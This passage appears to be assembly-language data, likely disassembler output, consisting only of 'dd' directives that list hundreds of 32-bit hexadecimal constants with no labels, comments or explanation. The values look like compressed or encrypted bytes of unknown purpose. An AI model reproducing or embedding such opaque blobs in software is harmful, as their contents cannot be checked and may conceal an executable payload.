		dd 0BC269E5Ch, 0EF214E00h, 845066C6h, 700D2E30h, 0AB29CF7h
		dd 0F9635CFBh, 1DAF03C8h
		dd 0A83ECDB9h, 11551818h, 14BC6F40h, 0DCDEC48Fh, 2245A8C4h
		dd 0B8800A27h, 830A6449h, 7949E34h, 8236BFC2h, 40E89AFCh
		dd 0D60015E1h, 8764917Dh, 7CA6740Fh, 0ECC900CAh, 1DFFD906h
		dd 88C0B7C3h, 0BF1F6A25h, 0C0D65804h, 60BC9441h, 9C335415h
		dd 312F4C4Ch, 72292003h, 0BFA088C4h, 0CC0014BAh, 2008AD6Dh
		dd 3C4ECE2h, 0EA803A14h, 0D121A550h, 5057919Eh,	0C012AD48h
		dd 6404371Fh, 0E7628BCBh, 204F1E10h, 0D0A00381h, 1A0BB030h
		dd 23EDC3EAh, 0BBE10EE4h, 59A6F3h, 24835E5Ah, 44C5C639h
		dd 58468A3Bh, 880280DCh, 201D9B1Ah, 234C0FE1h, 382E000Ch
		dd 83A7936Eh, 303E6492h, 0FCC4C144h, 7239DDBCh,	32830A30h
		dd 0D0B79009h, 0C0AA1F87h, 0ED6BD302h, 1E78600Ch, 68C7599Dh
		dd 0D9285700h, 0DCEACD73h, 634CE09Fh, 83650FA0h, 0D3C6D719h
		dd 2D63A84Bh, 0C21DC259h, 6A2CE995h, 0D088AC34h, 44969C10h
		dd 0C42BC18Ch, 8998D2BCh, 0CD5C4460h, 85125092h, 2434AFD1h
		dd 0A529000h, 7562Dh, 1BDCB606h, 27D3827Bh, 2E1AD07h, 22134EC4h
		dd 0AC110129h, 0D41C7636h, 0FE808728h, 6A8379CEh, 0CB88C78Bh
		dd 97CDDC25h, 9EA51F4h,	0A89C4215h, 37528C60h, 78DFA0C9h
		dd 20389090h, 680C3EDEh, 18C6085Dh, 1640D619h, 83E0C1F0h
		dd 2E047279h, 9601A8E1h, 0CF54A5E8h, 336BBC30h,	0BE202159h
		dd 0AAEA183Ch, 67F808B3h, 8D45D104h, 9C88D0CEh,	49A640E3h
		dd 2C0FCAF0h, 321D9F11h, 5B248CC0h, 4C1C797Ah, 0CAC0309Dh
		dd 0E27D6C04h, 0ACBA0228h, 8317808Ch, 40165E9h,	8C5E2489h
		dd 0C4FC3851h, 45123081h, 0E3F93DF0h, 51B16CC8h, 0C3CB0A00h
		dd 0DFE41FE6h, 1C7C09A5h, 0D430193Ch, 6B185C95h, 0C0D9A2DDh
		dd 5A734CA5h, 0E2D5CA0Bh, 0CEF27410h, 301B8A17h, 84A0F413h
		dd 0B83099DBh, 7C93898Fh, 65C14440h, 11C1889Eh,	6DCA71D1h
		dd 99BC4h, 0E5E8C2F5h, 7B826695h, 0B0D68001h, 851183FAh
		dd 0E95C70A4h, 5C290C09h, 0C8AE9487h, 0E0F57B00h, 4A82E18Ah
		dd 3C3006A1h, 7808E91Dh, 2EAB761Ch, 592C2C58h, 0E8E8C283h
		dd 3FC8AD9h, 4C1EE03Ch,	94838258h, 82CB0049h, 8903587Dh
		dd 52C67F0h, 3DCDF93Eh,	1AD0830h, 0ABC9969Dh, 0D31C81FFh
		dd 590C1158h, 1A5CC2F8h, 13380CC4h, 1661B48h, 1C7D60AAh
		dd 7C240EFEh, 43D60140h, 0EC022F38h, 10903648h,	7805B61Ah
		dd 801BE884h, 248BD2E8h, 7D552517h, 0D8601417h,	485B5CF2h
		dd 7E30786Ah, 3DFEA21h,	1096B881h, 8D9404FFh, 78E81586h
		dd 109D0F34h, 4419B40Eh, 56167BFAh, 66840CE0h, 702AE110h
		dd 0FE00CCF1h, 0C8E4BCD0h, 0F879ECFBh, 107F1CD2h, 58EA0036h
		dd 23450A0Ch, 0C4184E1Eh, 0CF6F7140h, 286BDD4h,	8A4910CCh
		dd 0E1012240h, 2C50C3FAh, 0A54AEAh, 0F82D4A4h, 0C4767C8Fh
		dd 0C2529507h, 8EBFA617h, 3B80BC6Fh, 0A2032BFAh, 32D776C4h
		dd 0E8704389h, 7889943h, 0C0923D1Eh, 34102B26h,	0FC80A664h
		dd 83C02AEAh, 0BD7450FFh, 103E23C3h, 48D897Bh, 43F403E9h
		dd 0D2380048h, 3F2E70DCh, 8A3F259Dh, 73770050h,	0C338C78Ch
		dd 0B47C1D4Fh, 0B1478053h, 22D8CEF3h, 4CBD0F01h, 0CA5D74ECh
		dd 3003828h, 2F55DE33h,	0F494169Eh, 0BCA1FC98h,	24709215h
		dd 3F08B679h, 7B6E1C00h, 5C2BCB11h, 453A60B0h, 0E00C187Eh
		dd 1C04B3C0h, 0C0BB30ACh, 62F24BD1h, 92071FA4h,	8351B6CFh
		dd 0AB6BA8B0h, 8AA2014Ch, 0CE44F524h, 0EA0430AFh, 2C3E152Ch
		dd 0B540A31Eh, 0E0139265h, 5D90FD6h, 0A0279D89h, 0F9B6048h
		dd 2924C6C4h, 0DC2879CFh, 611B0600h, 0C1EBA4C2h, 0E094A3ECh
		dd 513F53F8h, 403ED0F0h, 0B10FC380h, 5550105Ch,	1D019884h
		dd 0A12C644h, 0C60FDDDh, 4BE44A0h, 9E5F3000h, 7F248272h
		dd 3C9F01D3h, 0A8EA07C3h, 9B6300ADh, 482B0E6Ch,	3D48E1F9h
		dd 641E8B16h, 71E2B242h, 42E05047h, 0E850942h, 238023AFh
		dd 0A4605264h, 1F870128h, 175FCC3h, 0B8931FE7h,	0E15CEC6Ch
		dd 3288459h, 2BDE79D4h,	0D13490C0h, 0AC8D1860h,	3C5C888Ah
		dd 971E440h, 0C1C48EBCh, 0A6B87490h, 84404548h,	0F0C5D68Ah
		dd 0D1B0B402h, 8B44541Eh, 0B4E804C9h, 14B34FBAh, 0DD30382h
		dd 0D4D048BEh, 2EE090ABh, 9588AD7h, 0E89A80F9h,	10B36086h
		dd 30EAD43Dh, 0EC0601Fh, 98CB269Ch, 0D418A760h,	9E6B785Ch
		dd 84B4D468h, 0C8D954EAh, 2E0090D4h, 0E6C4DBBDh, 17F403C5h
		dd 401F1E4Fh, 5F426838h, 2941321Ch, 0C0A5BC40h,	0EACC0961h
		dd 0C031C6h, 6C14698Fh,	7590F6E3h, 0EABB8906h, 8F195DDh
		dd 3B145CFCh, 43788300h, 130458A1h, 61799484h, 518AA350h
		dd 68E0F478h, 4584B1CCh, 76B83819h, 71A5D00Bh, 240404C6h
		dd 491CF416h, 3B91EB19h, 5C61CDB0h, 0BE80B410h,	2C0F0052h
		dd 5CF5788Ah, 0EC925131h, 80FF7978h, 0C5441888h, 3CB8A65h
		dd 0E1050947h, 592D9950h, 0B02C0841h, 1D1B642h,	2EAD04C4h
		dd 604BD853h, 0D780FDFh, 5CC010BFh, 0A06449A4h,	64F6E00h
		dd 6B8338FFh, 0F874C1C0h, 49372BBFh, 101F4418h,	18679D44h
		dd 0EB820848h, 52E71100h, 9A5CFADEh, 7E8C9A91h,	0B5EE30D5h
		dd 0CFBF50E8h, 39ECA3Dh, 44E4F91Dh, 33A27862h, 8411F325h
		dd 0B10956ABh, 76031DE5h, 0C41600B4h, 6B0733ECh, 0F49D910Fh
		dd 98979244h, 0CADD80F9h, 0EC393B8h, 7975E910h,	74B6CF9Dh
		dd 0C980B90Fh, 52B17CAh, 0A51DF60Ah, 0FA008CBAh, 0A7C114EFh
		dd 31DC006Ah, 65C70EC2h, 55005672h, 0F544F9A2h,	0D7016F1Dh
		dd 0B0740430h, 6518E5C8h, 1D706404h, 0DC292F6Ah, 0AC7EDC0Ah
		dd 2F47600Fh, 83C2229Eh, 0CE30486Ah, 161C0B6Fh,	0E89002F4h
		dd 32504D1Eh, 3601AAB4h, 0B9666476h, 45FD4347h,	72830470h
		dd 7141C761h, 27A11123h, 792FD49Dh, 0CB9E6402h,	0D0966611h
		dd 2AAB0038h, 0A6E97782h, 0E0354ADh, 91E5346h, 4C687A35h
		dd 8F0158FAh, 840815C9h, 0D00A7E38h, 1A01F0C4h,	93E65F14h
		dd 0AF1DF1CBh, 12187824h, 4FDBBA5Ch, 0D1920EA8h, 89697748h
		dd 10377240h, 52821E8Ch, 6200B88Fh, 4DB6AC2Fh, 0A2783C8h
		dd 9A8C995Fh, 5C0CBC77h, 0DD68FC87h, 0B9D56105h, 3CA89655h
		dd 5EC42450h, 68D02D03h, 1C424F78h, 80AC1083h, 1DF99C9Ch
		dd 38B26074h, 0CDC04417h, 0DBE8AF48h, 20E0B530h, 7CC31205h
		dd 8A031E5h, 0FD2E0014h, 0D56900E0h, 707D2AAEh,	8A134A11h
		dd 8093D286h, 4835906Fh, 0E7578ECh, 138A0311h, 0A30891E0h
		dd 0AB14B30Bh, 0CAA08239h, 220A8023h, 61021009h, 624B73EAh
		dd 3340C11Ch, 0D92ADC42h, 0D3830A4Ch, 0AAD02E20h, 634C9428h
		dd 0C0192774h, 44383522h, 41518420h, 4337CD6Bh,	68619EBCh
		dd 0E5C0C7E0h, 96027832h, 0DD8E5C68h, 20E40C40h, 0DE02FF02h
		dd 0CE57BA99h, 0E2892628h, 583D1080h, 0F990102Ch, 49DD1E12h
		dd 64CEFB70h, 0EA31EC22h, 6525F0C1h, 0A950807Dh, 22850A08h
		dd 0A442D0B1h, 486CE413h, 3AC01864h, 5E2FF3D8h,	0D401C494h
		dd 6F4458Ah, 0EE017863h, 0F2EAD20Ch, 0C880A4A3h, 2A34380Bh
		dd 81271C90h, 0DA539B94h, 723EB82Ch, 0D3FFC800h, 0A2F8FA6Bh
		dd 0A51E5E04h, 0EC03DFh, 43C6784h, 30B0C704h, 2F8490BCh
		dd 0D8093583h, 418CE80Ah, 78A58199h, 0D4242EC8h, 1DB7B030h
		dd 0C4345539h, 11C63825h, 0C1826D7h, 585BFB83h,	16EA1DC4h
		dd 1C6EC3BDh, 9800E641h, 0C23D9176h, 2E90BC10h,	0A81705h
		dd 3C6BC407h
		dd 192C8A66h, 9C00A934h, 0A840578h, 0CEB8CC92h,	8904550h
		dd 7A729B03h, 0AC293687h, 0EA0874A9h, 9916DA3Ch, 0D21EFC43h
		dd 0FB7825CEh, 834094D6h, 36CCCD1h, 8ABCB9Bh, 38F6C0EAh
		dd 4A30FC7Eh, 2AE67071h, 440E0010h, 7872661Dh, 0DF7C8A39h
		dd 90224E2Fh, 5765A9Ch,	8B45A8B6h, 2A7CB2FEh, 5E5AB4BAh
		dd 19EADC00h, 0EA808D3Eh, 98819F8Ch, 0F4752F22h, 5D7C246Ah
		dd 2908B82Fh, 0CA0654Ch, 0B53942EBh, 0A4A2522Ch, 96DAD480h
		dd 70453F5h, 2CD62DEh, 0DDD702EDh, 3F1E0C81h, 0AF308025h
		dd 0DFD860D6h, 67ED0150h, 1C728EC8h, 0D4006E29h, 37EA5BABh
		dd 0A4119528h, 3CE04373h, 10B8F2C4h, 61138E04h,	0CDB2002Eh
		dd 82DED1D7h, 0E081559h, 0AC1C7CCFh, 0B4182821h, 3CC0695Ch
		dd 0DD65CB6Bh, 14C2F811h, 2A0F0F4h, 955C8DE6h, 7CD2ACF9h
		dd 38ED040Eh, 0FC30962Bh, 7E5C3235h, 0FE9400CCh, 0E07FBE4Dh
		dd 8CB2C07Ch, 0A0CD56h,	630CCCD0h, 29749651h, 43B037BBh
		dd 805C9BDBh, 647E00A4h, 993674A8h, 0EA580CC3h,	0C8B1E9C7h
		dd 0A9E1C0C0h, 0BA1E556Fh, 14C899A4h, 8D832CC4h, 0BFD2D106h
		dd 9B1DDCD1h, 0CA0E06E0h, 180526EAh, 0D283B616h, 0E2D830C3h
		dd 1C854C1h, 9C5CFFFEh,	485C6862h, 0F53778B0h, 2AE0105Fh
		dd 13926FCAh, 51B41E9Dh, 151AD410h, 748F110Bh, 0BF13A03Fh
		dd 4F2E83h, 56FE86D1h, 81E900C0h, 6B62ED59h, 4B5C8B93h
		dd 0E797191Ch, 8C398AB8h, 884C4858h, 3B241C4h, 0F02D7E16h
		dd 92231D96h, 32C304BCh, 90501C79h, 0CB74F340h,	19731D13h
		dd 25855C9Ch, 3029B178h, 0F4EBB418h, 8CBCEC74h,	84C374C5h
		dd 0F3692665h, 68722D84h, 9E86C14Bh, 7D55F40h, 0ADEA5C40h
		dd 0EFC802C9h, 32F58C4h, 18C49436h, 2094B65Ch, 0D048CE81h
		dd 82D605ACh, 9CE22650h, 115C1870h, 321759E8h, 0A21F0322h
		dd 7FBC528Ch, 0BC43F925h, 2994F16h, 0B7E1FF7Ch,	740218F6h
		dd 0CEA5B172h, 507090C0h, 59832421h, 0BA122426h, 8B60702Fh
		dd 0D8B048D3h, 6623B312h, 0B13AB8C8h, 209E886Ch, 0C61DE106h
		dd 0ED4A0BCh, 51DC8096h, 8050EA25h, 6695B464h, 98B874h
		dd 2BEF86A5h, 0C8DC5E33h, 300FE9FBh, 0F700FF80h, 247C66DBh
		dd 2A4E3E9Eh, 1F8231Eh,	6139EBFEh, 43113B4Dh, 0B1745C92h
		dd 0A0D29337h, 0E259F2F2h, 0F03C6010h, 0C720C3E8h, 78E96AC9h
		dd 0BB783055h, 0E7331702h, 7029905Ch, 197C0754h, 65C36850h
		dd 0C48CD013h, 0BD0248C8h, 2E1C6CF1h, 0A1F4EBD9h, 12AF7EAh
		dd 0C485BE6Ch, 815C38C0h, 9E814265h, 60891420h,	0EB536057h
		dd 0E900C40Ch, 2CF517F2h, 50C56EDEh, 90CB08C1h,	922D4C60h
		dd 0D0834200h, 0C31C3B9Eh, 0CB46049Ah, 80226013h, 86FF1E34h
		dd 0C95398C0h, 71C00C4Dh, 83E504C2h, 0ADE2B531h, 62E6801Ch
		dd 92CB275Dh, 16D40158h, 3A1E1A74h, 0F4488330h,	0FABA65Ch
		dd 44324D21h, 7F406C93h, 0A4404Ch, 0B111F8FEh, 0F82786Eh
		dd 0E78A92D0h, 0C0101793h, 3680CBB4h, 22A56094h, 31AD0Ch
		dd 9D782CC2h, 448D8125h, 4F1E2CE8h, 90A218h, 8288A3DEh
		dd 0F9B6DC78h, 33240702h, 0C297E479h, 1E740194h, 347336C4h
		dd 0B5BCE3Eh, 1002E0D4h, 18CCF96Ch, 10F7FD31h, 4C72ADCBh
		dd 66857890h, 17F4A96Bh, 2CA0C05Ch, 0D96C3F19h,	0ECC6186h
		dd 583C8852h, 6893265Dh, 0D4053480h, 0C1C372EAh, 0BF83C748h
		dd 0D9D040B2h, 9BFC91DBh, 73EC4300h, 0CF3BEB05h, 8A6E00BBh
		dd 24D8CEE9h, 1EF6C4C8h, 90262E28h, 7C38CC00h, 0DEC97EEBh
		dd 61C30018h, 0D2F29B7Ah, 0A96DF16Bh, 1AE0C8E1h, 84C4B10Ch
		dd 0EE9F72D0h, 5F2B2D00h, 0F8966344h, 48DE2A8Bh, 506120BCh
		dd 468294Ch, 826323C8h,	258344CCh, 4106EF1h, 404C0804h
		dd 0D8D468h, 0DF9F0680h, 49AFFD6h, 0DB1DA13Bh, 0AEE8948Ah
		dd 9BBB6000h, 0B8F33E56h, 0E6F500F4h, 23C10A78h, 640179FBh
		dd 843A0D70h, 0D1D15C02h, 6BEAA840h, 95C090A8h,	0D68CA801h
		dd 0C772D4D0h, 93215202h, 0D774DEECh, 0EACFA080h, 0B8C00F95h
		dd 7B9D8D16h, 0D36400E5h, 0D2021472h, 54BA68EAh, 3EEE1278h
		dd 0E2F8FB01h, 13911C75h, 6F5B080h, 89C63B53h, 5776EA18h
		dd 842680h, 79458347h, 6BCD5272h, 0B30B5D0Eh, 8BB9C054h
		dd 3C29CA7h, 0EA01DBCAh, 680C062Bh, 5874B89Bh, 6B6A2883h
		dd 1DCA76A4h, 4038661Dh, 8AF18462h, 0D71DF46Fh,	0DA8D408Bh
		dd 3029285Fh, 4063185h,	931580D8h, 0E4C5A29Ch, 0C32C1D64h
		dd 4B80A0BDh, 5554B57Ch, 13087143h, 4EAC0E5Ch, 0C4C01DF8h
		dd 7FC07AC2h, 0F84FFB78h, 372B5000h, 1C226C5Eh,	8CEC2AA7h
		dd 79115DFFh, 0A0DFE224h, 0D91FF30Ch, 88E54A73h, 0C02EBCF8h
		dd 0E203B0A5h, 9A81F95h, 0D1075210h, 0D5FE4CA0h, 5304B479h
		dd 0BE34752Fh, 1E70480h, 1E060C54h, 0F250A5F3h,	69665C38h
		dd 7B010B0h, 7910C1CAh,	33926A9Dh, 0F54A7C1Ch, 7C001465h
		dd 9B12E8DCh, 0A2650099h, 0AEC394E5h, 5690FC2Eh, 68ECC42Dh
		dd 0A26698h, 0C8E92F03h, 0A65ADAD4h, 1E21D50Fh,	0B8495355h
		dd 448CA29Eh, 5CC4E21Bh, 0C02A1FC8h, 7DF8E2D7h,	32281002h
		dd 7627085Bh, 85C65B6h,	48182445h, 38D1D281h, 0B309FC0Dh
		dd 68E3581Dh, 0D06B5C90h, 221D74B2h, 0B214E93Ah, 0C21000DCh
		dd 3382E31Dh, 1B47CD9h,	3CE79E64h, 3CAC071Eh, 0FECE80F0h
		dd 5CB4E1BCh, 448F5052h, 507BCC69h, 0C571E505h,	0DC01A064h
		dd 102CF4D1h, 588F23E0h, 0C04EC941h, 0E39CDBB0h, 94DD7D00h
		dd 0FBC03145h, 0CC65E35Ch, 40810C60h, 5582B75h,	1E488164h
		dd 0AC2D749Fh, 0A6B38303h, 72B04A73h, 2512F22Fh, 0B003508Ch
		dd 8894AADEh, 13375D2Bh, 899EC53h, 0B00BFFDCh, 9DF4ECC0h
		dd 0F5C6C030h, 0F4703E81h, 0DD5AB0EAh, 3AB8010h, 0D26F647Bh
		dd 0E6FA6E05h, 80C252D1h, 8E4E572h, 830FC520h, 0EAAD0725h
		dd 0D08AC90Eh, 73CE0798h, 3042E32Dh, 16EC6D97h,	45584709h
		dd 0ACEE06C1h, 4C27E71Eh, 0EB8AB840h, 906C27C8h, 8274B6F0h
		dd 2056BD8h, 6DDC098h, 7400F071h, 0E50481EAh, 0EE4F9539h
		dd 484A4C1Dh, 0EB18614Ah, 0E441817Fh, 1CF75CE1h, 30DB189Eh
		dd 5D65E681h, 0B4EC824Ah, 84251603h, 0D014B8B9h, 7F015C4h
		dd 89360F27h, 2A1CED81h, 2E964FF4h, 0E8CF7Fh, 3D3B9833h
		dd 8C2558CBh, 2BC468FEh, 91290E41h, 0DB27DD28h,	946141E6h
		dd 31886882h, 59CB2917h, 0BA64052Eh, 28E0892Fh,	250B009Ch
		dd 0FB6B677Ch, 98A6C7h,	7903F9D9h, 9F1A1D97h, 0C507489Ch
		dd 5457FE60h, 0B3A39170h, 14DA7C74h, 9BA2677Ah,	3FF5C440h
		dd 230510BCh, 81778A2Eh, 78D5EA39h, 0EF200E2Ch,	0A03A4F6Ah
		dd 0A3475C7Ch, 0BCE63EC4h, 0DE55C707h, 8748E97h, 0F8FFC000h
		dd 8B845F01h, 0E1E2A01h, 891DEB44h, 10CC133Fh, 0C30368A8h
		dd 0CB74A31Ah, 0B0CA838Bh, 6B0448F8h, 98DED9C5h, 0F63934A9h
		dd 4C890E0h, 8B04FFB0h,	90DE5CF0h, 9495A890h, 0B5723DCAh
		dd 59AEB781h, 42137D84h, 0E853BDECh, 0E09A6085h, 0F9C468A8h
		dd 10200994h, 904CC398h, 0A6E920D4h, 52598B0h, 97FC5A99h
		dd 0B2E58805h, 76F5123Ch, 0E874580Ah, 0B054032Dh, 396010D0h
		dd 95C00041h, 6E0F8252h, 0B7C90029h, 0E47C4E23h, 804CCE71h
		dd 47A3C884h, 0F8C6A50h, 0D9805206h, 0ADD382AEh, 37C46C02h
		dd 7402B583h, 306D470Ch, 5CCF7261h, 0C06B3C27h,	5D0CE1Ch
		dd 0CDE4C0F8h, 0E8D882B3h
		dd 0FB00787Ah, 0A4F7D692h, 0DFCCF3h, 0E0E53845h, 341DDE44h
		dd 7490B0BAh, 0A1E29F16h, 13973408h, 27A8F775h,	0A9601866h
		dd 7B80C352h, 1DC1FCCAh, 7D108263h, 7647A864h, 0F4836138h
		dd 0DD002482h, 381FB57Ch, 9115FD25h, 8CE309ACh,	0BA80936h
		dd 0C7A04118h, 8216A03Ah, 8A811A60h, 0C4130B8Eh, 32D70h
		dd 0FDB77816h, 5BE8E918h, 69920297h, 54B53CDh, 0AE831C48h
		dd 0E10564B4h, 4D4A22Eh, 38F7ACD1h, 5E2B4800h, 0AD8738h
		dd 6706FA59h, 40F55C0Dh, 440011B9h, 0FE582F32h,	26EA6BDDh
		dd 0A74493BBh, 0BA839C22h, 0F3673C54h, 132C14EBh, 95AF0E84h
		dd 850CC5B0h, 5040C970h, 912271A0h, 5FC7B100h, 0C968FF2Ch
		dd 847D0102h, 0EAD6AC7Bh, 0B41F6A25h, 0F0167600h, 24419C1h
		dd 0FEDBC0E8h, 5064368Bh, 5BAC2303h, 0A57FC3C4h, 123EB8B1h
		dd 26709878h, 0C427E25Eh, 0C4121682h, 0F3C50064h, 0EE026E6Fh
		dd 8A05D2Ah, 3D0B1D82h,	1D91BE9h, 0ACC76B58h, 282478F0h
		dd 2AC418Ch, 0AE57B8DCh, 90D84D83h, 0E891D54Eh,	4F0C975h
		dd 0C49ABFh, 730D6D10h,	9D9E6607h, 384E7807h, 0CBE01C75h
		dd 247C51h, 26533A85h, 4A8AD9FFh, 0EA102A04h, 94A02E16h
		dd 61A562C8h, 0F058E95Ch, 0E205FF74h, 8526278Eh, 1F16E881h
		dd 0BE609007h, 2D341DFEh, 0BAAF18Eh, 9F8112D0h,	2B2A83F1h
		dd 1D443000h, 0AA02ABC4h, 9D185EE4h, 0CE5F2011h, 597B6100h
		dd 1CF6D92h, 74C43E47h,	0D4FDCCF0h, 0F0345C0h, 6D1C688Ch
		dd 5B71039Eh, 0CFBBA887h, 18D03Bh, 0A38850F1h, 0A64B02h
		dd 0C5306953h, 0F9CB0BBAh, 0F605C74h, 0FC1C76D8h, 8248DFD3h
		dd 0FD87EA18h, 425E0068h, 84791604h, 0B4987AFBh, 76E165Ch
		dd 4E40B2ADh, 0DE8EC20h, 0CD848CEh, 0E699DE82h,	0D0A9606Ch
		dd 34283FBEh, 0CE18847h, 0C2506A4Ch, 0D9B8315Ch, 0BFEE074Ch
		dd 109E6FDAh, 11D40494h, 0ACF89684h, 1DF42E05h,	0FAB0B0D5h
		dd 8F4EAFB8h, 0C7B4030h, 4482B7B1h, 40C16385h, 310BD16Ah
		dd 9F7CE414h, 39205FFCh, 44774A02h, 1D26CE0h, 8A6723CCh
		dd 305C0CE4h, 0D8603C32h, 0C926A645h, 1010C12h,	0B9049B7Ah
		dd 0F42899DDh, 95E81E09h, 68D8946Bh, 0EA16ACFBh, 0F8F418D6h
		dd 7C4D0025h, 0AFC2C4EFh, 9600B2CFh, 99DD8465h,	514DF27h
		dd 5423310h, 5D20C0E2h,	1907F717h, 8A3102D1h, 0B0E861C4h
		dd 0C092F810h, 0E92C72CEh, 0EF8339ADh, 0E2AADC0Bh, 0E31078E8h
		dd 14E48A3Fh, 25A4E1D8h, 276CC4C1h, 2020B174h, 0FE92EAD2h
		dd 8323B0C0h, 4147350h,	0AFCD79ACh, 30A6C8h, 68C4EC4h
		dd 664C5CD1h, 68899096h, 9FDC9C44h, 607B4069h, 9D125100h
		dd 100710C7h, 39F136C5h, 0BC3CC31Eh, 1A44F302h,	3C7AF8B0h
		dd 95A15C10h, 0F451DA2Dh, 0EC20D724h, 2B165A7Bh, 0D0042A26h
		dd 0D8B0459Bh, 0EE883083h, 0C1114778h, 0BF6DE124h, 27EA5830h
		dd 3089851h, 0BEE4F33Ah, 26C8AC0Dh, 307B0BCEh, 0F1FCC000h
		dd 507DCFC4h, 731E1E75h, 840A42B7h, 285E9031h, 127BC26h
		dd 0D1081DA8h, 0C08B302Ch, 5C453C8Bh, 30CD0487h, 4F3472CBh
		dd 1FA45D54h, 134424C5h, 28E4A17Bh, 61CD0990h, 2D681004h
		dd 72058171h, 9C011340h, 1EFE9043h, 0C895E110h,	0BC25C2F0h
		dd 0B8208D48h, 3A6FCD80h, 0D4276822h, 5C17408Ch, 54968EFEh
		dd 685E3A8Ch, 793200DAh, 5A6F77C8h, 0C400AA99h,	7FF9BAC6h
		dd 1CA06460h, 801B068Bh, 2B39E604h, 9100F571h, 0CA738102h
		dd 648CC6Dh, 0F05CDADBh, 0C8B460E9h, 20D46CC9h,	0DB0C195Ah
		dd 0B97FEA5Ch, 0B40400AAh, 5995CABEh, 98022926h, 861C7E93h
		dd 0C1946A78h, 62EA2C34h, 1CAC5E54h, 0FCEFE0C8h, 6F0EA147h
		dd 47626E54h, 0C023EB74h, 6B37E8CAh, 0B073FCC5h, 720C2460h
		dd 3DDB098Ch, 9B08E80Eh, 0EA702302h, 265454FBh,	518BC94h
		dd 2122A1E0h, 0FCDD2001h, 871C7BCCh, 579901D3h,	73119564h
		dd 0FF147010h, 14E08F12h, 0CED1105h, 1EC3A4B8h,	3904D91Ch
		dd 0F71AF0FFh, 0B516DCC1h, 7874DE02h, 65125CACh, 5C4094C6h
		dd 0BF051025h, 0C4845CFEh, 0D0588156h, 0B79EE0B0h, 7B6060C3h
		dd 40697AF7h, 0B107AD80h, 7F3DB51Fh, 0C214894Fh, 3C6CDC50h
		dd 0F5C4E916h, 90042BD0h, 0C70B1682h, 9CE61098h, 85635C70h
		dd 80D10378h, 29BBAEAh,	412AE398h, 0B45C6F8Ah, 0A3CAC280h
		dd 0EE1C79FBh, 1ED09A2Fh, 80EC055Ch, 29F1EDC5h,	0FC0099CCh
		dd 2EF3EBFEh, 22A931h, 70D30DD5h, 239E76CBh, 5CE72D04h
		dd 9803AAB3h, 74C18818h, 4E888F75h, 0CCC0161Eh,	2F782BAAh
		dd 0EC61351Ch, 0FE01C804h, 4ECA0C00h, 0A4763F22h, 609500A3h
		dd 0C4A5D1C2h, 1F04C3EEh, 89946481h, 23A120ACh,	0AC6C4Eh
		dd 0E4BC01C0h, 0C3898C1Dh, 2A682C60h, 0E859A1A2h, 65EF485h
		dd 5D25F0C0h, 481767BBh, 682AF08Ah, 0CB16CC76h,	0BC068C34h
		dd 1DC97E5Ch, 0C0143ADAh, 0AB836656h, 0C913E421h, 6481DF5Ch
		dd 30357882h, 0EB81007Dh, 2B469ED2h, 198A1041h,	21AD1132h
		dd 2558744Ch, 0FCA05EDCh, 0D93C40FAh, 0BBC9CE00h, 0F57E664Ah
		dd 54565C92h, 28B11001h, 0E8DE341Eh, 0A712EAE6h, 14E24691h
		dd 0E064B825h, 0FAB28C80h, 0DA2CEF0Bh, 6B8802F6h, 0EFECF451h
		dd 4BC4F01h, 0A0143F9Ch, 0C6702D64h, 0D4C095D4h, 501E24FBh
		dd 18D25CBEh, 0D0374040h, 0CBD3EA0Dh, 8F8BC089h, 64B0680Bh
		dd 70054B3h, 481FB456h,	174F9DDEh, 0E0C8EB3Fh, 7400EC2Ch
		dd 317B827Fh, 26EAE6Ch,	94EA2CACh, 589A490Eh, 695E0ECh
		dd 2CA66560h, 0DCCC77h,	401D6EE6h, 4490DEAh, 5C7D1D94h
		dd 8838D55Ah, 0F86ADC3Ch, 3F03F116h, 2CBE1AEBh,	8858A818h
		dd 0C20A4F6Bh, 8564E02Bh, 0ADA48412h, 4B1E8508h, 0B8537CD0h
		dd 0D2C002B7h, 0A41DCB9Ch, 0D9809CCBh, 0B1006DD3h, 6EBD74EFh
		dd 0CD14BEh, 0BFF7C1F4h, 1A283F5Fh, 40AE8A27h, 276B7D88h
		dd 0C498A602h, 7200B46h, 0FD2E097Eh, 20A0C11Dh,	0B30E5B2Ch
		dd 1EEF5C1Dh, 1F15B182h, 0EA1F4030h, 0D03C64D4h, 3BD4F6CEh
		dd 9EB04D79h, 3F9BD131h, 2C83A834h, 178AFBFh, 0AA1C72D1h
		dd 20D035BEh, 0A40A1580h, 9094F65Ch, 773C34A6h,	80246948h
		dd 53C4C9ABh, 830200C5h, 0AED41C0Fh, 110F2D13h,	438A62C6h
		dd 9A2B1003h, 0BD78E5BDh, 7C2F31Dh, 0C762BECFh,	0C0E73684h
		dd 7844315Fh, 710145A7h, 8772FF1Ch, 0EA60ABA0h,	9848D066h
		dd 0BA8F30D0h, 2482CDC8h, 1280A997h, 4E3072E4h,	697C17FAh
		dd 0E0746FACh, 6D8BD0A8h, 722874D0h, 0AF1E601Fh, 0DEC36450h
		dd 0C091C844h, 0CA95BE5h, 68265CF2h, 66094730h,	80BC4670h
		dd 0C1ED74A8h, 0F4605D23h, 86FC975Ah, 9C05C0B1h, 0D4C71DC4h
		dd 60C2D0BDh, 0F0D3E821h, 1010320Ah, 0BEE0F88h,	4233A1Eh
		dd 3788C405h, 0F498E3C0h, 61F48327h, 0A4307434h, 549558E1h
		dd 70799E10h, 0CA71CF16h, 8F061400h, 3DD899F9h,	332C28F2h
		dd 88E52798h, 0CE08B00h, 0EBB01244h, 0C2033429h, 0BCF536EDh
		dd 2B331DF9h, 2EFF2802h, 0D57CC00Fh, 0EAD8A894h, 0C1234E56h
		dd 6655D8h, 0E6F1FBh, 75C76ACFh, 6E89E71Fh, 0EC1CDD7Ch
		dd 4F4423F4h, 48EC93EAh, 5D83B509h, 0F5091C50h,	508B1E2Dh
		dd 325CE0F0h, 78A8EA63h, 0D020450h, 17D0BC40h, 1E1C68F1h
		dd 94C65D24h, 647A5603h, 3188529Eh, 104F4427h, 0C2B03C55h
		dd 98D61360h, 48D5EAC8h, 7BCAB8AEh, 58F608B8h, 0C84C8202h
		dd 3DE82395h, 49F0A049h
		dd 3E0B284h, 104DD3C2h,	0B5EB0C04h, 0BDB10F3h, 0F7ECC671h
		dd 744FA044h, 0E02758BCh, 0F9E1CC22h, 0C0AED900h, 81595B53h
		dd 8CA588h, 726DCA79h, 0C5E80067h, 0A4D69C44h, 8F002AE6h
		dd 2C7345D0h, 3EEDF8Eh,	1F7DC3D8h, 0EAB0F33Bh, 3CB28C43h
		dd 919B6B00h, 825C09B4h, 0DB70CEA0h, 62EE64Fh, 7BB6462h
